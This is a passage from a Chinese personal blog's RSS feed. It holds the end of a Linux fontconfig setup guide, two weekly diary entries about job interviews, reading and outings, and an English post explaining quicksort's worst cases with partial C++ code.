<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">yay </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">S adobe</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">source</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">han</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sans</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">cn</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">fonts noto</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">fonts</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">emoji</span></span></code></pre>
</div><p>然后编辑字体配置 <code>/etc/fonts/local.conf</code></p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;?</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">xml version</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"1.0"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">?></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DOCTYPE fontconfig SYSTEM </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"fonts.dtd"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">fontconfig</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">alias</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sans</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">serif</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">prefer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Source Han Sans CN</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Noto Color Emoji</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    &#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">prefer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  &#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">alias</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">alias</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sans</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    &#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">prefer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">>&#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sans</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">serif</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">family</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">>&#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">prefer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  &#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">alias</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">fontconfig</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span></span></code></pre>
</div><p>这样，字体 alias sans-serif 就会指向 Source Han Sans CN，未找到的字符则 fallback 到 Noto Color Emoji，而 sans 则指向 sans-serif。</p>
<p>可以使用 <code>fc-match</code> 检查一下：</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">❯ fc</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">match sans</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">SourceHanSansCN</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Regular.otf: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Source Han Sans CN"</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Regular"</span></span></code></pre>
</div><p>最后确认 Fcitx 的设置中使用 Sans Serif 字体即可。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0xFC]]></title>
            <link>https://blog.yanli.one/weekly-2023-04-12</link>
            <guid isPermaLink="false">https://blog.yanli.one/weekly-2023-04-12</guid>
            <pubDate>Tue, 11 Apr 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[分享来自斯坦福大学的一项实验，使用AI建造了一个虚拟小镇]]></description>
            <content:encoded><![CDATA[<h2 id="做了什么" tabindex="-1">做了什么 <a class="header-anchor" href="#做了什么" aria-label="Permalink to “做了什么”">&#8203;</a></h2>
<ul>
<li>
<p>买了双徒步鞋，希望春天能多出门走走。</p>
</li>
<li>
<p>看到群里有个校长 bot，快速摸了个书记 bot，后端接到了 <a href="https://github.com/BeautyyuYanli/Talker" target="_blank" rel="noreferrer">Talker</a> 上。</p>
<ul>
<li>精彩节选
<ul>
<li>
<p>大 工 听 床 师</p>
<p><img src="https://img.beautyyu.one/webp/fy0nh9.jpg" alt="" loading="lazy"></p>
</li>
<li>
<p>欺 上 瞒 下</p>
<p><img src="https://img.beautyyu.one/webp/86ye7c.jpg" alt="" loading="lazy"></p>
</li>
<li>
<p>区 别 对 待</p>
<p><img src="https://img.beautyyu.one/webp/oiug9a.jpg" alt="" loading="lazy"></p>
</li>
</ul>
</li>
</ul>
</li>
<li>
<p>收到了字节和百度的面试邀请。RocketMQ 那边似乎也还能捞一下。</p>
</li>
<li>
<p>又给小陈读了一遍冬牧场</p>
</li>
<li>
<p>和小陈一起去爬白云山</p>
<ul>
<li>
<p>照片</p>
<p><img src="https://img.beautyyu.one/webp/aah4yd.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/cwwsd1.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/xau28l.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/noqqyg.jpg" alt="" loading="lazy"></p>
</li>
</ul>
</li>
<li>
<p>字节的面试官格外佛系，<s>看起来不像是招人（躺</s> 过了一面诶嘿嘿</p>
</li>
<li>
<p>百度这边面试也很流畅</p>
</li>
</ul>
<h2 id="读了什么" tabindex="-1">读了什么 <a class="header-anchor" href="#读了什么" aria-label="Permalink to “读了什么”">&#8203;</a></h2>
<ul>
<li>
<p>翻开了基督山伯爵</p>
</li>
<li>
<p><a href="https://arxiv.org/abs/2304.03442" target="_blank" rel="noreferrer">Generative Agents: Interactive Simulacra of Human Behavior</a></p>
<p>来自 Stanford 的实验，让 25 个 AI 生活在一个虚拟小镇里，甚至还组织了一场情人节聚会！</p>
</li>
</ul>
<h2 id="听了什么" tabindex="-1">听了什么 <a class="header-anchor" href="#听了什么" aria-label="Permalink to “听了什么”">&#8203;</a></h2>
<ul>
<li><a href="https://justpodmedia.com/shows/left-right/leftright-ep235-20230404?key=2528" target="_blank" rel="noreferrer">235 太史公的往事与随想</a></li>
<li><a href="https://justpodmedia.com/shows/left-right/leftright-bonus-20230331?key=2521" target="_blank" rel="noreferrer">线下录音 | 刘怡、高林谈第一次世界大战的爆发</a></li>
</ul>
<h2 id="看了什么" tabindex="-1">看了什么 <a class="header-anchor" href="#看了什么" aria-label="Permalink to “看了什么”">&#8203;</a></h2>
<ul>
<li>
<p><a href="https://www.designboom.com/architecture/getagent-iconic-architecture-reimagined-ai-buildings-different-architectural-styles-ai-midjourney-04-03-2023" target="_blank" rel="noreferrer">alternative histories: iconic architecture reimagined in different styles using AI</a></p>
</li>
<li>
<p>799 CNY, 打扰了</p>
<p><a href="https://www.designboom.com/design/ikea-little-sun-sammanlankad-solar-powered-lamps-03-30-2023" target="_blank" rel="noreferrer">IKEA &amp; little sun introduce their versatile, solar-powered lamps for daily use</a></p>
</li>
</ul>
<h2 id="碎碎念" tabindex="-1">碎碎念 <a class="header-anchor" href="#碎碎念" aria-label="Permalink to “碎碎念”">&#8203;</a></h2>
<ul>
<li>吃辣一时爽，第二天就会拉肚子。</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0xFB]]></title>
            <link>https://blog.yanli.one/weekly-2023-04-05</link>
            <guid isPermaLink="false">https://blog.yanli.one/weekly-2023-04-05</guid>
            <pubDate>Tue, 04 Apr 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[本周主要做了面试和GSoC申请方面的准备]]></description>
            <content:encoded><![CDATA[<h2 id="读了什么" tabindex="-1">读了什么 <a class="header-anchor" href="#读了什么" aria-label="Permalink to “读了什么”">&#8203;</a></h2>
<ul>
<li><a href="https://theinitium.com/article/20230401-wsj-it-wasnt-just-credit-suisse/" target="_blank" rel="noreferrer">不止瑞信，瑞士本身也面臨一場危機</a>
<ul>
<li>
<p>瑞士为拯救瑞信付出了太多努力，但这些举措能缓解最新的金融危机吗？</p>
<p>瑞士財政部長卡琳·凱勒-祖特爾（Karin Keller-Sutter）、央行行長喬丹（Thomas Jordan）和金融監管機構負責人Marlene Amstad先前曾致電瑞銀董事長Colm Kelleher，他們表面上提出了兩種選擇，實際上只有一種選擇： 要麼在沒有機會充分了解瑞士信貸龐大複雜的資產負債表的情況下將其收購，要麼讓瑞士信貸在一場曠日持久的危機中倒閉，瑞銀的高管們擔心這可能會粉碎瑞士作為全球銀行中心的信譽。</p>
</li>
</ul>
</li>
</ul>
<h2 id="听了什么" tabindex="-1">听了什么 <a class="header-anchor" href="#听了什么" aria-label="Permalink to “听了什么”">&#8203;</a></h2>
<ul>
<li>
<p>七台 podcast 联合的愚人节节目，还挺好玩的</p>
<p><a href="https://etw.fm/2044" target="_blank" rel="noreferrer">声东击西: #开个玩笑：以后长期就这俩新主持算了</a></p>
</li>
</ul>
<h2 id="做了什么" tabindex="-1">做了什么 <a class="header-anchor" href="#做了什么" aria-label="Permalink to “做了什么”">&#8203;</a></h2>
<ul>
<li>
<p>面了美团，面试官很尴尬地告诉我他们要写 Java 的，HR 推的不太对，然后尴尬地做了两道题。</p>
</li>
<li>
<p>面了米忽悠，面试官对着简历上我打的 tag 问每一样的技术原理，我尴尬地说抱歉我只会调 API。不过总体上尴尬程度还是比阿里和美团小一些，毕竟有一部分我还是能答出来的。不过还是挂了。</p>
</li>
<li>
<p>和小陈偶遇了剑玉，还挺上头的一个小玩具。</p>
</li>
<li>
<p>先前求职时忙得头昏，周一才发现 GSoC 投递 proposal 的截止日期就要到了。焦头烂额地找项目然后发现了去年做过的 RocketMQ 有好多新 feature 要做。选了 Python Client 的实现赶工出了 proposal.</p>
</li>
<li>
<p>复习了快排，整理出了一些细节。</p>
<p><a href="https://blog.beautyyu.one/details-of-quick-sort" target="_blank" rel="noreferrer">Details of Quick Sort</a></p>
</li>
<li>
<p>和小陈在夜里溜达见到的，俄建大连市镇厅和大阪新闻社。</p>
<ul>
<li>
<p>照片</p>
<p><img src="./Untitled.png" alt="Untitled" loading="lazy"></p>
<p><img src="./Untitled 1.png" alt="Untitled" loading="lazy"></p>
<p><img src="./Untitled 2.png" alt="Untitled" loading="lazy"></p>
</li>
</ul>
</li>
<li>
<p>参加了声动活泼的社群活动，听听别人的春天是什么样的。</p>
<p><a href="https://mp.weixin.qq.com/s/hCkUEubm1Oo9xzEXVbfVVw" target="_blank" rel="noreferrer">出门录音挑战01：云结伴过春天</a></p>
</li>
</ul>
<h2 id="碎碎念" tabindex="-1">碎碎念 <a class="header-anchor" href="#碎碎念" aria-label="Permalink to “碎碎念”">&#8203;</a></h2>
<ul>
<li>其实阿里云的面试体验还是很好的，对着我简历上的项目侃侃而谈了好久，但这愈发突出了我没写出快排时的尴尬。。</li>
<li>暑实还是没有着落，今年年景实在有些糟糕。。</li>
<li>不过玩是玩得开心了，希望下周能够能量充沛。</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Details of Quick Sort]]></title>
            <link>https://blog.yanli.one/details-of-quick-sort</link>
            <guid isPermaLink="false">https://blog.yanli.one/details-of-quick-sort</guid>
            <pubDate>Wed, 29 Mar 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[Quick Sort has an average-case performance of O(n log n). However, the worst-case performance can be O(n^2). This may occur in two scenarios.]]></description>
            <content:encoded><![CDATA[<p>The average-case performance of Quick Sort is O(n log n). However, the worst-case performance of Quick Sort occurs when the pivot selected is either the smallest or largest element in the list. In this case, the partitioning step will result in one sub-list with n-1 elements and another sub-list with 0 elements. This will lead to N recursive calls, and therefore the time complexity will be O(n^2).</p>
<p>Two scenarios may cause the worst performance:</p>
<ol>
<li>Array of all the same elements: In this scenario, the pivot element will always be the same as all the other elements in the array. This means that each partition will only remove one element from the array, resulting in a recursive tree with N levels (where N is the number of elements in the array). This gives a worst-case time complexity of O(N^2).</li>
<li>Array of already sorted elements: In this scenario, the pivot element will either be the smallest or largest element in the array, depending on the implementation of the algorithm. This will lead to a partition with one sub-array of size 0 and another sub-array of size N-1. This also results in a recursive tree with N levels and worst-case time complexity of O(N^2).</li>
</ol>
<p>However, the following carefully designed algorithm can prevent the worst performance in the two scenarios. It is also an in-place algorithm, which means the algorithm will use only a small amount of additional memory to perform its operations. Here are the steps:</p>
<ol>
<li>Choose a pivot element. This is a random element in the array.</li>
<li>Swap the pivot element and the first element in the array. The first element is the pivot now.</li>
<li>Define two pointers, one pointing to the second element of the array, and the other pointing to the last element of the array.</li>
<li>Repeat the following steps until the <strong><code>left_pointer</code></strong> is greater than or equal to the <strong><code>right_pointer</code></strong>:
<ol>
<li>Move the <strong><code>left_pointer</code></strong> to the right until it points to an element that is greater than or equal to the pivot.</li>
<li>Move the <strong><code>right_pointer</code></strong> to the left until it points to an element that is less than or equal to the pivot.</li>
<li>If the <strong><code>left_pointer</code></strong> is less than or equal to the <strong><code>right_pointer</code></strong>, then swap the elements at the <strong><code>left_pointer</code></strong> and <strong><code>right_pointer</code></strong>, and move both pointers one step towards each other.</li>
</ol>
</li>
<li>Once the pointers have crossed each other, swap the first pivot element with the element at the <strong><code>right_pointer</code></strong>.</li>
<li>Recursively apply the same steps on the sub-arrays to the left and right of the pivot element.</li>
</ol>
<h2 id="array-of-all-the-same-elements" tabindex="-1"><strong>Array of All the Same Elements</strong> <a class="header-anchor" href="#array-of-all-the-same-elements" aria-label="Permalink to “Array of All the Same Elements”">&#8203;</a></h2>
<p>In the scenario of an array of all the same elements, the pivot element will be equal to all the other elements, which means that in step 4.a and 4.b, the pointers will never move. As a result, step 4.c will simply swap the two elements, and the pointers will move towards the center, thus effectively splitting the array into two equal sub-arrays.</p>
<p>Therefore, the algorithm can avoid the worst-case performance due to arrays of equal elements, and in fact, it will sort such arrays in O(NlogN) time, which is the average-case performance of the algorithm.</p>
<h2 id="array-of-already-sorted-elements" tabindex="-1"><strong>Array of Already Sorted Elements</strong> <a class="header-anchor" href="#array-of-already-sorted-elements" aria-label="Permalink to “Array of Already Sorted Elements”">&#8203;</a></h2>
<p>To avoid this scenario, one can choose the pivot element randomly instead of always selecting the first or last element as the pivot. By choosing the pivot element randomly, the probability of selecting the smallest or largest element as the pivot is reduced, and the resulting partitions are more likely to be balanced. This helps to ensure that the worst-case performance is avoided and that the overall runtime is closer to the average-case performance of O(NlogN).</p>
<h2 id="another-detail" tabindex="-1"><strong>Another Detail</strong> <a class="header-anchor" href="#another-detail" aria-label="Permalink to “Another Detail”">&#8203;</a></h2>
<p>In step 4 of the algorithm, the while loop condition includes a scenario where both <strong><code>left_pointer</code></strong> and <strong><code>right_pointer</code></strong> point to the same element. This element may be greater than the pivot element. The loop exits after one iteration, ensuring that the <strong><code>right_pointer</code></strong>'s element is less than or equal to the pivot. At this point, it can be swapped with the pivot.</p>
<h2 id="code" tabindex="-1">Code <a class="header-anchor" href="#code" aria-label="Permalink to “Code”">&#8203;</a></h2>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> &#x3C;iostream></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> &#x3C;cstdio></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> &#x3C;cstdlib></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> &#x3C;algorithm></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> &#x3C;random></span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">using</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> LL</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> long</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> long</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">using</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> namespace</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> std</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> get_piv</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">LL</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> arr</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[], </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">LL</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> l</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">LL</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> r</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">){</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    LL piv_id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> rand</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">() </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (r </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> l) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> l;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    swap</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(arr[l], arr[piv_id]);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> sort</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">LL</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> arr</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[], </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">LL</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> l</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">LL</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> r</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">){</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (r </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> l </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    get_piv</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(arr, l, r);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    LL piv </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> arr[l];</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    LL tail </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> r</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, head </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> l</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    while</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (head </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> tail){</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (arr[head] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> piv) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">head;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        else</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (arr[tail] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> piv) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">tail;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">            swap</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(arr[head], arr[tail]);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            head</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">++</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, tail</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">--</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    swap</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(arr[tail], arr[l]);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    sort</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(arr, l, tail);</span></span>
